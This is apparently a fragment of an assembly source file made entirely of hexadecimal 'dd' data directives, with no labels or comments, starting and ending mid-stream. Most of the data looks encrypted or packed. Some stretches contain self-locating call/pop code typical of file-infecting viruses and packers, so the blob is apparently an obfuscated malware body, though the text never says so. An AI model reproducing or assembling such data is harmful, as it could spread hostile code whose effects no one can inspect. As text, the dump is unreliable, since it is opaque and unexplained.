3D006A6Dh, 0F75C3641h, 845842E5h, 0F14AE59h, 0DBD0AF7Dh dd 5DB139C1h, 43B52556h, 0BEC18174h, 0E2D3D38h, 0D5B13FBFh dd 0EDF71356h, 0D6636F62h, 45AF6BF6h, 3CE8279Ah, 0AA9576DFh dd 57B139BFh, 66D5C556h, 1C61A1D4h, 6F4DDD98h, 6558370Eh dd 0D2B13256h, 49D614D7h, 2EB280EBh, 0FBEECCEFh, 36CA3823h dd 0E4696A37h, 8735A540h, 1C4101F4h, 9FADBDB8h, 5E96837h dd 0C05842E5h, 2D14AE59h, 0ABB16A7Dh, 0D5B13256h, 0EAB13256h dd 75B13256h, 0BAB13256h, 5DB13256h, 0AEB13256h, 57B13256h dd 0ABB13256h, 0D5B13256h, 0EAB13256h, 75B13256h, 0BAB13256h dd 5DB13256h, 0AEB13256h, 57B13256h, 0ABB13256h, 0D5B13256h dd 0EAB13256h, 75B13256h, 0BAB13256h, 5DB13256h, 0AEB13256h dd 57B13256h, 0ABB13256h, 0D5B13256h, 0EAB13256h, 75B13256h dd 0BAB13256h, 5DB13256h, 0AEB13256h, 57B13256h, 0ABB13256h dd 0D5B13256h, 0EAB13256h, 75B13256h, 0BAB13256h, 5DB13256h dd 0AEB13256h, 57B13256h, 0ABB13256h, 0D5B13256h, 0EAB13256h dd 75B13256h, 0BAB13256h, 5DB13256h, 0AEB13256h, 57B13256h dd 0ABB13256h, 0D5B13256h, 0EAB13256h, 75B13256h, 0BAB13256h dd 5DB13256h, 0AEB13256h, 57B13256h, 0ABB13256h, 0D5B13256h dd 0EAB13256h, 75B13256h, 0BAB13256h, 5DB13256h, 0AEB13256h dd 57B13256h, 0ABB13256h, 0D5B13256h, 0EAB13256h, 75B13256h dd 0BAB13256h, 5DB13256h, 0AEB13256h, 57B13256h, 0ABB13256h dd 0D5B13256h, 0EAB13256h, 75B13256h, 0BAB13256h, 5DB13256h dd 0AEB13256h, 57B13256h, 0ABB13256h, 0D5B13256h, 0EAB13256h dd 75B13256h, 0BAB13256h, 5DB13256h, 0AEB13256h, 57B13256h dd 0ABB13256h, 0D5B13256h, 0EAB13256h, 75B1DA36h, 3BEB3256h dd 0B2EF37BCh, 4134BF53h, 0DEB4DC9Ch, 44EA69D4h, 8933BF53h dd 63B4DD98h, 9AEA6DD4h, 0B3FFDA53h, 26593256h, 69B13256h dd 0B8EA79D4h, 0ABB13253h, 50776056h, 0EF583CB3h, 0CDE35A00h dd 0F4EAEFEh, 58582CABh, 0D4DEB7DBh, 874E37BAh, 0B384B7DFh dd 0D1DB37BFh, 0EAA1323Eh, 78F15A56h, 0BADB3255h, 56EBE2A9h dd 27824696h, 0B8EA79D4h, 0E433BB53h, 6CB4DD0Dh, 0EAB23F16h dd 0B582CADDh, 0D0E398A5h, 4DB15A52h, 0AED93256h, 3DB13252h dd 9E23CD56h, 8FB4DB4Eh, 0B12EB0DFh, 0FED037B9h, 55EA79D3h dd 9AD1F153h, 4795EBD4h, 17B13253h, 4A33F556h, 0D5B4DB79h dd 8BB13246h, 0CF3A5295h, 0BF5E691Dh, 29B10DD5h, 0BECEB175h dd 0D4BA4654h, 0DFB52229h, 0C176B158h, 0AD76D8BDh, 75B13346h dd 7D43D956h, 5DB22211h, 475A3256h, 0DCE4F137h, 0AB5952BAh dd 8FB13256h, 0B44BD8D7h, 0C73A37B9h, 0BF5E69F5h, 0D4B977DDh dd 0D33B150h, 53B4DD0Dh, 0AF73FB37h, 0D5595256h, 0B0B13256h dd 2AAFD8D7h, 83A37B9h, 585E69C9h, 0F512806Dh, 6CC537B9h dd 743A0CDDh, 0D4FE8459h, 6AB075A0h, 0ACB23623h, 639A30BDh dd 0D83A7115h, 0AB58114Fh, 57A4BFDDh, 738A37BFh, 0C8A3B24h dd 2C323721h, 4E78D952h, 33B94699h, 0B4B127EBh, 0CF06D953h dd 57595295h, 0F1B13256h, 8AC7D8D7h, 503A37B9h, 705E69C9h dd 0BAB032EFh, 0AE710156h, 3133B9FDh, 0DEB4DD0Dh, 44EA91D4h dd 0B5725353h, 0EAB132BEh, 9F306856h, 0BF5E6DF6h, 5354B790h dd 0C6E737BFh, 83AE5F6Fh, 0B54C87A9h, 503C37BFh, 0EF5D4839h dd 25E3E2A9h, 0BA31323Eh, 0A2B15856h, 41EA79E4h, 0F61CD53h dd 2BB15A0Ch, 0D5DB3256h, 0B12E80A9h, 0A54E37B9h, 31E4F137h dd 5D5952BAh, 0F4B13256h, 85FD8D7h, 0DE3A37B9h, 0D729DA5Eh dd 15E43256h, 9AEA69C4h, 0CF8A6F53h, 0B55F475Ah, 0AEB130D0h dd 5F73FB37h, 473A6756h, 834DF6D5h, 0EA596101h, 2FB13256h dd 0DA93D8D7h, 283A37B9h, 0BECCB95Eh, 60596401h, 0A0B13256h dd 5E904696h, 784E67AEh, 705E690Dh, 0B6C4090Bh, 0D6D72022h dd 5E56B248h, 0B4312CDCh, 0AD2CDAA6h, 15A3256h, 24D4FDFh dd 8A4ECC0Bh, 31EF6D0Dh, 9F78CE13h, 25E4325Ah, 0AF75B1BAh dd 0F8E06401h, 0D5497791h, 2DB13256h, 9AEAB9D4h, 0BAB13353h dd 55C4B956h, 25AFB930h, 0B8EA79ECh, 0A3EEB953h, 0DAC5E95Dh dd 0ECC4EC6Dh, 0FCBD6FDDh, 7D323E09h, 3B5BD942h, 55312CDDh dd 99353DBEh, 2BB13256h, 51BEDBADh, 0EAB13293h, 7A5AC9D6h dd 0BAB18ED2h, 0BF4AB256h, 0AE1DB659h, 0AC313256h, 31353DB5h dd 0B3B13256h, 9D6C9D7h, 7529B659h, 5D313256h, 0A63054A6h dd 2ABEB259h, 57B132C7h, 2B41D1D6h, 51BE42ADh, 0EAB132D3h dd 0F5AFB930h, 4131CAB5h, 0DDF346EEh, 93C53768h, 239C0CD6h dd 0C38FB26Eh, 574E0122h, 0EF5E69DDh, 0F5AFB930h, 3BD7CAB1h dd 2959B3ADh, 0B03A5476h, 3141D5D6h, 6B30C9D7h, 80D12122h dd 0B1EAA0A9h, 0FCEC37B9h, 39D0CE13h, 28B0CE2Bh, 770BB935h dd 7B4DB72h, 0F03AB0DDh, 0E98837B9h, 0BAC36A66h, 5A5088DDh dd 31E137BFh, 0B2EAB9D4h, 9E8D0B53h, 0BC8C4D0Eh, 53F4F546h dd 0D5B13254h, 0AF7635BDh, 75B133AEh, 0F10BB956h, 0D6B4DD0Dh dd 0DA6A3949h, 226F0949h, 0A7ECB959h, 0D5494FD5h, 0B7B23122h dd 71EEBBAEh, 51A5F5D5h, 0B47101B4h, 0AEB13296h, 0DCAFB930h dd 50313E2Bh, 55BB46BDh, 1131C2B5h, 9EA74626h, 53B6F464h dd 5DB07591h, 25B13256h, 5271B191h, 0ABB1A5BFh, 0D2765456h dd 0F43B3A59h, 0F5BED1D6h, 0E539B29Dh, 5FF6F557h, 0AEB13256h dd 9732F5DDh, 0CDC8D950h, 45210CD7h, 0D4313D22h, 13BF47C6h dd 2A4E4CD7h, 0B6B346C6h, 4576B952h, 0F033BF09h, 0FBB4DD0Dh dd 8A23CD00h, 0E1B4DD0Dh, 0FEBB4696h, 1D03BF9Eh, 0B6B4DD0Dh dd 603A6446h, 0C23CD03h, 0F6B4DD0Dh, 0C46FC7Dh, 12CCB108h dd 0C5A14757h, 2D7981Fh, 0F6D7B759h, 0AFF78459h, 0D4AAD9FDh dd 0DEB3CA2Bh, 0DE095445h, 8C1A549Fh, 13353DEEh, 0FC073DFDh dd 5F5A9957h, 693A96A5h, 8EF6B0Dh, 0ABB9F09Fh, 0B55DB903h dd 0EAB132BEh, 9F306856h, 0BF5E50D6h, 0D4B977DDh, 41EA61D4h dd 95785353h, 20E43252h, 2D75B1BAh, 0EAB1DA36h, 0F4EB3256h dd 55D393BCh, 0A5F4F553h, 0AEB13256h, 574D7791h, 98B13256h dd 0CB3A5496h, 0B13AB091h, 75B037B9h, 3BD73256h, 2821A2ADh dd 464AB256h, 56B9B659h, 2BF13256h, 51BEDBADh, 0EAB132A8h dd 9E4AB216h, 0BA45B659h, 0DDF13256h, 2FD7C2B1h, 58313DADh dd 0ABB1D7D2h, 0C8333156h, 0AAB4DB74h, 7A53C9D6h, 0BAB1FCD2h dd 0BE4AB256h, 0AE0DB659h, 0D6D73256h, 0A45255ADh, 0D5B188D2h dd 1A52B256h, 7AC1C9D6h, 0BAB187D2h, 433A5456h, 2E49D1D6h dd 10C58AADh, 0DFB40CD6h, 0F88FB214h, 0D4310F22h, 3589463Eh dd 0E13AB0A9h, 0D6D737B9h, 5656B248h, 0D64AB330h, 0CD9546BEh dd 32312CDDh, 113054A6h, 62C5F2D7h, 284E6736h, 585E690Dh dd 52F4BB0Bh, 0ABCCB137h, 83343D57h, 5EB13257h, 395EBECh dd 0F73A6253h, 0BF5E69DDh, 5810E6Fh, 0AFA0B059h, 0ED3A3256h dd 0AE581DB7h, 5E33B906h, 0D3B4DD0Dh, 7AE9026Ah, 0BAB1C8D9h dd 120BB956h, 2DB4DD0Dh, 0B8EA7DD4h, 9C382653h, 85A175DFh dd 0B13AB0DDh, 693A37B9h, 0E5386A66h, 5D64DB5Eh, 0EB763256h dd 57B130AEh, 6CB6D956h, 0D5B0CA13h, 503A3256h, 705E6919h dd 0E1FEB0D5h, 0D4A537B9h, 0BEF6BB61h, 22B2CAD5h, 2033F55Ah dd 0D7B4DD0Dh, 1B13256h, 7749B153h, 0C7326D2Bh, 46C532AEh dd 0AFF78459h, 57B1B2FFh, 0EBB74756h, 3EB4DAD5h, 0EA4E1F5Eh dd 9D323256h, 0E9BAD953h, 63AA8DDh, 0AA3A37B9h, 57186965h dd 0DE313256h, 56773142h dd 68B23796h, 705E69DDh, 0B2F6BB1Eh, 0B6BD75DFh, 8569C500h dd 0D469C590h, 29B23796h, 0D05E69DDh, 0E2F6BB1Eh, 9EBD75DFh dd 30710168h, 0DD193310h, 68B21323h, 0ECB3F2D5h, 0ABB13257h dd 0DCC5E95Dh, 4AAEA8DCh, 963137B8h, 33723157h, 1A383A11h dd 59A5D95Ah, 574E178Eh, 6D9A3256h, 1532EAA1h, 0E2F6BB54h dd 8DBD75DFh, 0EF72FB37h, 9932DEDDh, 0AE5952AAh, 0DB13256h dd 0CF03D8D7h, 6F3A37B9h, 0EF5E691Dh, 4A32FB65h, 78353D56h dd 0D6B13256h, 0A2C4CD51h, 7B947A9h, 0ABB041BEh, 56B44156h dd 85A2691h, 8A4D77DFh, 0CF4E3E23h, 0B586CD5Eh, 0AEB1330Ah dd 5726B059h, 0EE3A3256h, 0DAB60BAAh, 0EAB1BED4h, 89F4CD56h dd 0BAB54DD5h, 22323A22h, 0ACC5325Ah, 0A8093CBDh, 124ECDA9h dd 0D5B13253h, 295A99A5h, 70A14DD5h, 0C5323D22h, 4CC43446h dd 0AAF6B917h, 0BCBD6DDDh, 0AFF6B915h, 3EBD6DDDh, 0EEF6B96Fh dd 4EBD6DDDh, 0AFC43A09h, 59E6B904h, 0ADA1677Dh, 83A2603h dd 286B195Ah, 3EEB37BDh, 0EEF6B944h, 5EBD6DDDh, 51323609h dd 883B3153h, 2DB4DB5Ah, 22B22229h, 729A7357h, 0D4B06EDFh dd 154ECDEEh, 75B48BA9h, 11423256h, 0A24E64BFh, 6C7853A9h dd 0DCE43246h, 5775B1BAh, 0D5B1DA36h, 6BEB3256h, 9AD4AFBCh dd 0F10BB953h, 6EB4DD0Dh, 0AE8EB19Fh, 5720B659h, 0AC3A3256h dd 2ABD47A9h, 2E13A23h, 75B132DEh, 7D323725h, 0D453D942h dd 0DB4ECE13h, 5FC4CD5Ah, 0DA5905A9h, 0A7B13256h, 16F4B93Ch dd 16C3356Fh, 394D77A9h, 29B13629h, 0A2CEB15Eh, 0BCB34656h dd 544E8A58h, 0D008CDA9h, 19B13256h, 0F67AD9FDh, 0CEB42229h dd 4DCEB159h, 0EFA04750h, 0DCB575DDh, 0B65A3E09h, 5EB575DDh dd 0F95A3E09h, 0FEB575DDh, 0E59A3E09h, 585AB152h, 0ADA14DD5h dd 7CF03323h, 0AAEDBB8Fh, 2A4E8A57h, 0EF08CDA9h, 86B13256h dd 0DB36D9FDh, 5DB9F09Fh, 0CE5DB903h, 6CB977DDh, 0A3C33E13h dd 0A2A1776Dh, 0E95ACA55h, 14B1D9AFh, 0BABDF09Fh, 0DE5DB903h dd 46D1CE92h, 57B13256h, 0D85BB30Ch, 0E6B4DD30h, 636A019Fh dd 0CF3ACE0Bh, 0BF5E691Dh, 29B10DD5h, 518EB132h, 90323723h dd 2840D942h, 0A1B13629h, 0E6CEB15Eh, 9EB34656h, 46F4CD5Eh dd 0B6A5F5D5h, 0BECEB18Dh, 0D4BE4653h, 0DEB72229h, 923A7347h dd 0E6EEB952h, 323A2FBDh, 0B6EEB952h, 1A3A21BDh, 0A2EEB952h dd 0D4B56D7Dh, 0D43237BDh, 0D4C43146h, 63681917h, 0CDB0330Ah dd 454ECDA9h, 5DB137EFh, 451AC156h, 123A53C1h, 0FB72FBAAh dd 0D5596107h, 0B0B13256h, 134FD8D7h, 203C37B9h, 585E6935h dd 0AEB156EEh, 5763DA56h, 0A03A3256h, 0C15AF36Dh, 0D1B57955h dd 76A64097h, 7B8A221Dh, 5F5A3024h, 0BC5A26BDh, 94C7A8DBh dd 784E37B9h, 4F3C3ABDh, 0EF5EF4CAh, 2CEAE1A9h, 31E4F10Eh dd 5DB1DABAh, 2FEB3256h, 0B8D67FBCh, 113C5253h, 0D05E6935h dd 63B977DDh, 79F4B951h, 31B575DFh, 1A382213h, 0BAF4B95Ah dd 36A175DFh, 0ABA1F09Fh, 3034F436h, 0ADB4DB58h, 62C2283Eh dd 4704CDFEh, 0D0B4DB48h, 42CB5DD3h, 561CD53h, 0F03EB8DBh dd 2AE037B9h, 683C6886h, 705E69D9h, 0B6F18559h, 52E3EADDh dd 6DB26867h, 5AD4B0DFh, 0C3D037BFh, 0E85251h, 5A000000h dd 67BEEA81h, 8B5205EFh, 0E90D6582h, 4E6DB905h, 0E1F741C6h dd 3039055Ah, 0FF250000h, 897FFFFFh, 0E90D6582h, 0C3595A05h dd 0E85251h, 5A000000h, 67EEEA81h, 0C88B05EFh, 0FFFFBBE8h dd 0F7D233FFh, 5AC28BF1h, 0C08BC359h, 858DC08Bh, 5EF5DFFh dd 8B66D0FFh, 0B7858DC1h, 8905EF67h, 0E9102985h, 0E7858D05h dd 8905EF67h, 0E92CED85h, 0B805h, 0C00B0000h, 47840Fh dd 85C60000h, 5E90EE5h, 30DF6856h, 0B5FFA9C5h, 5E91EFDh dd 7A6F858Dh, 0D0FF05ECh, 498D8D50h, 5105E927h, 68046Ah dd 0FF000010h, 0E90769B5h, 8BD0FF05h, 0E90769BDh, 3C7F0305h dd 0F8C781h, 47C70000h, 2024h, 0B59D8D60h, 8B05E92Eh, 0FC00B03h dd 584h, 89008B00h, 0F6B90443h, 0E800234Ch, 7, 0FEFB7514h dd 5107B7E1h, 595FD180h, 2CC08158h, 66000074h, 1A75EE81h dd 148BDB33h, 81FB8B18h, 61B76FC2h, 81F88B52h, 87F2D4C2h dd 6C8FBE30h, 0EA8151B2h, 5487B085h, 0B870Fh, 0F600000h dd 8Dh, 0FB8B6600h, 0BF0F5261h, 18048FFAh, 2820Fh, 0E88A0000h dd 1A890Fh, 0E9600000h, 0Fh, 75FF9BD7h, 867D4C74h, 5EE4FCB1h dd 66347D5Ah, 61582EBFh, 1E48EB81h, 0AE81C50h, 47000000h dd 5F1A21F4h, 0ABC17978h, 0FE9CBh, 0E85F0000h, 21866D22h dd 8DA85874h, 0EBC1B9D0h, 0C3815F70h, 1C501E44h, 11E8h dd 0AD3E1500h, 0B7DAEB63h, 0C8C40A36h, 8C30A825h, 0E86004E0h dd 0Eh, 10F0E90Ch, 0EA3775A8h, 904EA4A5h, 0F5F3BA9h, 8Ah dd 815F6100h, 0FF8CBCFBh, 33850FFFh, 0BEFFFFFFh, 4D651C3Fh dd 6A8D8D8Dh, 6A05EFh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1A0424h, 56460000h, 0CEB84DC3h, 0E3A54313h, 3C5E781h dd 8D892927h, 5E92655h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 14h, 91C35545h, 80585C7h, 5C4405E9h, 0B5890000h dd 5E906A5h, 1EB58D89h, 85C705E9h, 5E9163Dh, 0 dd 12718D29h, 0DE905E9h, 0E5000000h, 40EEA232h, 41268708h dd 46ABB689h, 321DB5FFh, 6A05E9h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 170424h, 57470000h, 95C06FC3h, 0C890FCBh dd 0F000000h, 68Bh, 890F00h, 0FF000000h, 0E90BC595h, 57006A05h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h dd 0E4F1F7CCh, 0A2BC60FDh, 6E888h, 49010000h, 0A900AD9Dh dd 25598529h, 6A5E05E9h, 9595FF00h, 8B05E91Eh, 2A0EEBC0h dd 0C57BD01Fh, 1FC9E027h, 53E8E6B9h, 5E812h, 374B0000h dd 0E92D6C70h, 7, 0B59BC557h, 5E040921h, 2B919501h, 0C68105E9h dd 6E97h, 6830Fh, 8D8B0000h, 5E93219h, 68h, 13E900h, 4AF30000h dd 4BAB297h, 146BE337h, 0F77DAFCCh, 8CE43A18h, 95295874h dd 5E90685h, 13034FFh, 0E924F19Dh, 0BD8B5B05h, 5E926EDh dd 118EB81h, 9E92D5Ch, 0A3000000h, 0B8AE2369h, 114CE839h dd 0EC6DEB81h, 8D890379h, 5E90D19h, 0D4B4EB81h, 0F53077Dh dd 48FC8B7h, 0F61B206h, 0E883D7BFh, 0B0B96601h, 484848E7h dd 0AF3BF281h, 0F88149F1h, 0FFFF9228h, 0FFA2850Fh, 12E9FFFFh dd 22000000h, 9C335550h, 9B1260F3h, 0CBF8FF68h, 0C36CFE6Ch dd 8EB7Dh, 98000000h, 0E96983C3h, 4C7h, 0EF6C8D68h, 1475E905h dd 0EF68FFFAh, 0E905EF6Ch, 0FFFA146Bh, 0EF6E7368h, 1461E905h dd 0ED2DFFFAh, 87C3A9C6h, 18553B58h, 0ABE6CCE9h, 37755B78h dd 0F7EBEF0Ch, 35527DBBh, 0CAE70E4Fh, 5D7AA5E4h, 0ED0A3D77h dd 0CD913F20h, 0D1132671h, 84C29A78h, 2D672B59h, 4CA4DDFAh dd 0CE8B39DCh, 0C81C321Ch, 0E08EAF52h, 1320149Eh, 81AFE21Ch dd 4CE95FB7h, 71AF8994h, 0B14E1846h, 2014CBF7h, 0EA8B2C13h dd 26D91FC1h, 3251145h, 84D70000h, 0FF3E1843h, 54D223D4h dd 9159F361h, 0F363BBF4h, 3D812F50h, 0BD16C985h, 81F74F82h dd 0E409B7E4h, 2A1C3283h, 5B7C85B4h, 208BE9ADh, 0E27FF513h dd 47A55328h, 84F44C66h, 1B233E1h, 4271E4BDh, 3B895FB8h dd 3F7DD994h, 7F1CE614h, 0E2F9279Dh, 56771A8Ah, 0ACC4E6A8h dd 0D572E8EBh, 0CFFBFAA8h, 0F7FE157h, 0AF73A1D4h, 89E5476Eh dd 25EF1D4Ch, 0C4620C3h, 9CD6BCD9h, 0D9072E6Fh, 217CAD0Fh dd 2E76E7B5h, 2F47A36h, 0F5350000h, 8FCBB1CEh, 205D4360h dd 0B3EED4F1h, 3F7D6380h, 0EFF3F714h, 3D5A85C3h, 0D2EF1657h dd 6582ADECh, 0F512457Fh, 0D5994728h, 0D9132676h, 176FA280h dd 0EE2A04A7h, 47F522BFh, 1C343F2Dh, 825CFF75h, 16FC1944h dd 747FADD8h, 8F2C5F9Ah, 0ACA02ED5h, 3367063h, 640825D2h dd 0BE7A7275h, 292h, 4F6C93D3h, 0E1FE2D69h, 728FBEFBh dd 11E518Ch, 95B2DD1Bh, 2B695191h, 0BCFDE300h, 53927895h dd 0EB250B28h, 0EDCE9BB8h, 26767F3Fh, 48267F13h, 3366A17Bh dd 659E3B05h, 3867A30Dh, 0C6EA1DCh, 3FD1BB69h, 62191C34h dd 2671F2B4h, 2486FC13h, 71645EF6h, 0FA931326h, 2B8DD8CBh dd 0CE6BC489h, 5281DC99h, 28AB5D5Ah, 0A6E27B5Fh, 8AB2FFB0h dd 0D79745E8h, 0D71326F9h, 3BE5C461h, 29452030h, 0B5E3124Fh dd 2183B6F1h, 1A96384h, 0C2290000h, 63275588h, 3A2FA729h dd 4F8A497Eh, 3F97D0EDh, 0F17E2CCFh, 7D1C3288h, 508A6407h dd 8825EF1Dh, 0A70A38D0h, 0CC6D1320h, 0E593B4A9h, 1320A7A1h dd 3B1AB72Dh, 45266E95h, 588Bh, 3C785200h, 7815DF0Dh, 0A7176F4Ah dd 294D5604h, 43B91C32h, 8DD17FA0h, 0B813200Bh, 5B37AE86h dd 73E941ADh, 0BC861ED6h, 0BB1320F0h, 0DB0E4822h, 3F6C093Eh dd 45263D91h, 349D5483h, 15726770h, 0AB5778h, 0FD1E0000h dd 20B70F4Fh, 214C8B13h, 0EF1A59C9h, 0F895F7C1h, 66A17BCAh dd 9E3B0533h, 64FC7EB8h, 7FD8E910h, 0F2195AB6h, 609E6290h dd 0CDFC0735h, 0E59943B2h, 3016B36Bh, 0D195C3F6h, 1A476497h dd 9DD90640h, 0B56F0C6Eh, 16C9BBAFh, 254275AFh, 812494ECh dd 2F2DFED3h, 7BB8281Ch, 0F2541E4Ch, 0C37754Fh, 0A0CB09EFh dd 897DC86Fh, 530F0769h, 10Eh, 0CBE80F4Fh, 5D7AA9E5h, 0EE0B3A77h dd 7D9ACD08h, 112E5997h, 9FDDD50Dh, 30715774h, 0C706EC09h dd 5F997F9Ch, 61420F2Ch, 2674F3B3h, 0C4A2FB13h, 3C5984C2h dd 0CCE91C56h, 5B88C29Eh, 0F5BFED20h, 0AAC1F093h, 8C9F79FAh dd 0E4A860FDh, 0B3D477AAh, 0C9314105h, 7BD74D16h, 0CA710E41h dd 5B82C39Dh, 12C0632Dh, 16C9314Ch, 63FDC52h, 0ED9B3EAEh dd 1C327780h, 0DBB558CEh, 0A6D3709Fh, 0F0B66485h, 0FE13207Fh dd 0C705EB88h, 0D73964A2h, 7C5E8DBAh, 4D0DCDE2h, 0EED48E2Bh dd 141320DDh, 0E304A7DAh, 20DD7135h, 6A077D13h, 749FDDC3h dd 5C8A46h, 7BCA0000h, 8B37BA4Ch, 12AFB40Dh, 6E1181D9h dd 3450D0C0h, 76A41A1Ch, 0C4B78B2h, 35627FE1h, 1E206614h dd 38AE1326h, 487BB59Bh, 40EE0F1Ah, 13261E7Eh, 0B36D0A80h dd 0F75B8390h, 980C698Ch, 280E2B5Eh, 0C98DBBEEh, 492D5B8Eh dd 0C701A3D2h, 57917794h, 33AF624h, 7A000000h, 82C233A1h dd 2F692D5Bh, 0CB0ACEFCh, 6DAE72A0h, 16541846h, 0BBF9BDEBh dd 639E6290h, 13E0230h, 0A4E0A4D2h, 83864775h, 0C8904ECh dd 81E18924h, 4C1h, 4E98300h, 5C240C87h, 5E08950h, 4, 8704E883h dd 895C2404h, 8951241Ch, 4C181E1h, 81000000h, 4E9h, 240C8700h dd 243C895Ch, 2D11ADBBh, 21B95135h, 910D51Ch, 0E3C159CBh dd 21F38102h, 68D21B1Dh, 6225h, 83242489h, 5F042404h, 56F68h dd 242C8900h, 6F89DD89h, 34FF5D08h, 0C4835F24h, 241C8B04h dd 81E18951h, 4C1h, 4C18100h, 87000000h, 0E95C240Ch, 0FFFA0FBFh dd 2B4A4F66h, 0B8FA0C14h, 5EF6FA6h, 0E0FFC503h, 792B859Eh dd 14BF0053h, 0B289AC8h, 2E8CFB6Ah, 531BB681h, 7E19120Eh dd 6C066FCCh, 559489h, 5F505F6Bh, 50E9B02Ah, 68881C6Bh dd 0B0DC75Dh, 48009FAFh, 793F42A4h, 589CED48h, 62ABE3F2h dd 471912DDh, 565FD161h, 2ADFB60Ah, 13B6A2B5h, 1232427Ah dd 3E0D1176h, 71A3E43Fh, 69A6A630h, 5B3514DDh, 31D09727h dd 20E286C8h, 435B3FAEh, 4844D457h, 0BE8h, 0F64F4200h dd 0D77F8448h, 0B40E39B6h, 59C6B70Fh, 0DE9h, 0E1C4E900h dd 44A8097Dh, 481F52C4h, 0C18183E7h, 5937h, 0F633E38Ah dd 38CC8060h, 0D2F68166h, 148B6191h, 0DFBF0F31h, 0CA83C281h dd 12E97FC6h, 20000000h, 0C35FAB95h, 0EED2B7C6h, 0D48C44B0h dd 6A108220h, 88C281F9h, 665FE66Ah, 819FDDBBh, 0C0D203C2h dd 21A5BB37h, 1489774Fh, 0DE8BB831h, 0EE837C09h, 81B3B704h dd 0FFA774FEh, 11850FFFh, 0F8000000h, 23E9h, 0FCD59800h dd 9A50A1A8h, 1B635D57h, 0E9DF8B66h, 0FFFFFF96h, 674AE348h dd 105757C4h, 4315BBA9h, 0BCCD4D07h, 88D408EBh, 6BFCh dd 0AE90000h, 6800000Bh, 5EF72F8h, 0FAD89CE9h, 73D668FFh dd 92E905EFh, 68FFFAD8h, 5EF75A1h, 0FAD888E9h, 768968FFh dd 7EE905EFh, 68FFFAD8h, 5EF7829h, 0FAD874E9h, 7A0B68FFh dd 6AE905EFh, 68FFFAD8h, 5EF7B18h, 0FAD860E9h, 16D535FFh dd 0E59E0447h, 0B970D316h, 8843A7EAh, 5A1176B9h, 2BBEC68Bh dd 0F93C0BC6h, 0CF12E198h, 9FE2B168h, 2AAF7E3Dh, 86E4CEC9h dd 698FD851h, 5F97F974h, 371E3EFDh dd 2083BF24h, 0A6C6AC69h, 0C7DA87C8h, 0BC22961h, 6A482EEBh dd 3D24E345h, 15D79D06h, 3D1B0B12h, 0E74E61EAh, 0AAE45230h dd 623B7259h, 2204EA55h, 0E5E04B29h, 0E3A8FC84h, 0AD5A175Dh dd 0FF715954h, 0D41AD854h, 0FFC5E9F6h, 26E6D854h, 0C5D47755h dd 0D2E5D88Ch, 0D1CCB36Ch, 0D854F7E9h, 0BF6E4C92h, 27h dd 25DEB020h, 8BE433Eh, 0FA0DE3A8h, 3D23E097h, 0CB88CE5Fh dd 57E6567Ch, 0F8B979D8h, 8BB2410Ah, 0AC32D8h, 0F9930000h dd 0BC23E097h, 78DF9C57h, 376E5516h, 4C9B6D35h, 52937186h dd 3D289EBh, 0BEA218D8h, 22D93BDDh, 0EDAE1053h, 740E8030h dd 0B197540Fh, 0CAAFAA91h, 0BBE3A844h, 0C41DA675h, 5776E1C9h dd 66448AD8h, 866D86F8h, 0F1D9D42Dh, 9AD85775h, 964DB354h dd 2DC3ABB8h, 66ACE643h, 4B086C7Fh, 8AEF026Dh, 58BD00CFh dd 76FAEA1h, 0F6B9CBD2h, 8D786h, 0EAA10100h, 0B972D81Bh dd 8544A7EAh, 540F73B6h, 26DD4285h, 0F7F29257h, 0C508D792h dd 93D6A564h, 63A6752Ch, 0F67B4A01h, 85309A95h, 355BD851h dd 0DD94F940h, 0B269CB0Eh, 0DEB08CE3h, 0BE433E25h, 0E7E3A808h dd 2995E4A1h, 0C6D857E6h, 7FE6A364h, 4FA46118h, 29FEB603h dd 449D2869h, 57E66149h, 0E6C40AD8h, 8BB2B398h, 0BCC0D8h dd 0F9210000h, 0E6F9E097h, 0F0FEC384h, 4890D856h, 0D17EBF9Dh dd 0BE205ABEh, 3A20DDFDh, 17D2375Ch, 0E1550B5Ah, 0C6EDDBEh dd 0BCF37C4Bh, 0E8DEC97Eh, 527755D7h, 3D5037F0h, 7F6522D9h dd 0A0B360A1h, 33A17F3Ch, 0C8C3AA5Bh, 0E3A838D3h, 33BF8ED4h dd 0C8C3AA5Bh, 0E643E9CDh, 9AAD94DAh, 35A07E35h, 3706BD22h dd 0E1D48FF4h, 0CBD3C644h, 0F9AF1FE2h, 23000007h, 0F63908C3h dd 0C508D790h, 91D4A362h, 64A7762Dh, 0B07544FFh, 0F9B015D4h dd 0C386E72Ah, 934AB1F4h, 681F81C4h, 0B8B31499h, 0D851840Eh dd 0F95E5379h, 0CB0EDD94h, 0B8CBB269h, 0F7B21357h, 726D1AD7h dd 0DDBEF748h, 0EFCDED33h, 97F9459Ch, 83E6F9E0h, 3EA5E6C4h dd 0DB341BDCh, 0BEF7F6E0h, 0EDAC0DDDh, 0F73D4A30h, 443AC619h dd 4FB1C4ABh, 456747F3h, 0F2F9B06h, 0D188EB52h, 6D68D3B1h dd 0E3A84BB8h, 2B3C7E69h, 0A4C846A4h, 57EC01A9h, 4246AD8h dd 5EC027E4h, 298BCE9Dh, 0F2D990F1h, 57ECCFF7h, 5272B8D8h dd 1B94695h, 7C0860ECh, 0C94F63Fh, 91C9A911h, 6C8CD250h dd 89312C85h, 0F25091C9h, 387BCEACh, 95815D6h, 5091C9A4h dd 0A86D2E1Ch, 2DB68546h, 20FEB51Ah, 0FD6199FBh, 83A38946h dd 0C94677C6h, 95995091h, 0EEAD0FC4h, 407ADC1Fh, 8940A1D9h dd 0DC8C4969h, 6F6A51A2h, 6E8722E2h, 53664D93h, 937936EDh dd 0B8D662B5h, 88A85FC6h, 0D13548A1h, 0C27F3699h, 19FFBCDCh dd 948F3732h, 0B2F84EA6h, 9BD6C7D4h, 89CF70BFh, 0D2E81FCCh dd 0BA4FDA5Ah, 32AB0F4Bh, 9481A96Dh, 0A504A9B6h, 0E5A544BFh dd 0F153694h, 0A25E6BA4h, 0BF000003h, 7B1327B4h, 374AA38Ah dd 763598D0h, 0F6B3D3B9h, 5C253210h, 2BE3A805h, 3CF9B218h dd 0A1E77856h, 0F1EC45D6h, 0D857F8C9h, 0F8F5DDD8h, 589ED857h dd 1A27054Bh, 5B24C6F4h, 4C33CCC2h, 5FF76051h, 0EF521965h dd 75957B38h, 7D7608B8h, 71A49B96h, 0E4F16F4Ah, 738DC1E9h dd 